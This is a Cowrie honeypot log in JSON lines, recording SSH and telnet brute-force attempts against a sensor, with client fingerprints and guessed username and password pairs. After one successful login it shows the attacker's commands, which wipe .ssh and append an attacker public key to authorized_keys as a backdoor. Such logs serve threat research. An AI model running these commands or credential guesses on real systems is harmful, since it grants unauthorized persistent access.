{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:57:50.875028Z","src_ip":"68.183.236.1","session":"90e14e57b667","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1qaz!QAZ","message":"login attempt [git/1qaz!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:57:51.925304Z","src_ip":"68.183.236.1","session":"90e14e57b667","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:57:53.184425Z","src_ip":"68.183.236.1","session":"90e14e57b667","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":54796,"dst_ip":"159.203.135.109","dst_port":22,"session":"e6950feded79","protocol":"ssh","message":"New connection: 159.203.92.129:54796 (159.203.135.109:22) [session: e6950feded79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:00.834414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:00.839760Z","src_ip":"159.203.92.129","session":"e6950feded79","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:00.844574Z","src_ip":"159.203.92.129","session":"e6950feded79","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234!@#$","message":"login attempt [admin/1234!@#$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:00.861327Z","src_ip":"159.203.92.129","session":"e6950feded79","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:01.972670Z","src_ip":"159.203.92.129","session":"e6950feded79","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.233.71.252","src_port":16241,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b608d52dd93","protocol":"telnet","message":"New connection: 223.233.71.252:16241 (159.203.135.109:23) [session: 6b608d52dd93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:33.418335Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40034,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6fd09a5725e","protocol":"ssh","message":"New connection: 159.203.92.129:40034 (159.203.135.109:22) [session: c6fd09a5725e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:43.097626Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:43.101723Z","src_ip":"159.203.92.129","session":"c6fd09a5725e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:43.105977Z","src_ip":"159.203.92.129","session":"c6fd09a5725e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234.com","message":"login attempt [admin/1234.com] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:43.115093Z","src_ip":"159.203.92.129","session":"c6fd09a5725e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:44.132991Z","src_ip":"159.203.92.129","session":"c6fd09a5725e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.87595272064209,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:46.294147Z","src_ip":"223.233.71.252","session":"6b608d52dd93","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":42240,"dst_ip":"10.17.0.5","dst_port":22,"session":"96b3f2106008","protocol":"ssh","message":"New connection: 68.183.236.1:42240 (10.17.0.5:22) [session: 96b3f2106008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:47.507357Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:47.513734Z","src_ip":"68.183.236.1","session":"96b3f2106008","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:47.758682Z","src_ip":"68.183.236.1","session":"96b3f2106008","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"radioserver","password":"radioserver","message":"login attempt [radioserver/radioserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:48.778747Z","src_ip":"68.183.236.1","session":"96b3f2106008","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:58:50.028502Z","src_ip":"68.183.236.1","session":"96b3f2106008","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49576,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccce323e6124","protocol":"ssh","message":"New connection: 159.203.92.129:49576 (159.203.135.109:22) [session: ccce323e6124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:24.726501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:24.731107Z","src_ip":"159.203.92.129","session":"ccce323e6124","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:24.735629Z","src_ip":"159.203.92.129","session":"ccce323e6124","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"12345","message":"login attempt [admin/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:24.748331Z","src_ip":"159.203.92.129","session":"ccce323e6124","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:25.755179Z","src_ip":"159.203.92.129","session":"ccce323e6124","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":53900,"dst_ip":"10.17.0.5","dst_port":22,"session":"039edccae06b","protocol":"ssh","message":"New connection: 68.183.236.1:53900 (10.17.0.5:22) [session: 039edccae06b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:43.127106Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:43.131736Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:43.387202Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin321","message":"login attempt [admin/admin321] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:44.431011Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:44.979352Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:44.981800Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:44.985578Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:45.240531Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:45.782560Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:45.785259Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:46.046143Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:46.052111Z","src_ip":"68.183.236.1","session":"039edccae06b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.236.1","src_port":53916,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0dc5888f1b5","protocol":"ssh","message":"New connection: 68.183.236.1:53916 (10.17.0.5:22) [session: d0dc5888f1b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:46.278375Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:59:46.283443Z","src_ip":"68.183.236.1","session":"d0dc5888f1b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c